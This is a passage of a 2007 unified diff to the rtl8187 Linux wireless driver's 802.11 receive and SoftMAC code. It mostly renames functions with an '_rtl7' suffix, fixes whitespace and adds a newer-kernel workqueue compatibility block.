ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +479,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +502,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +547,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +639,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +649,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1109,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1181,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1221,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1260,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1327,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1381,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void 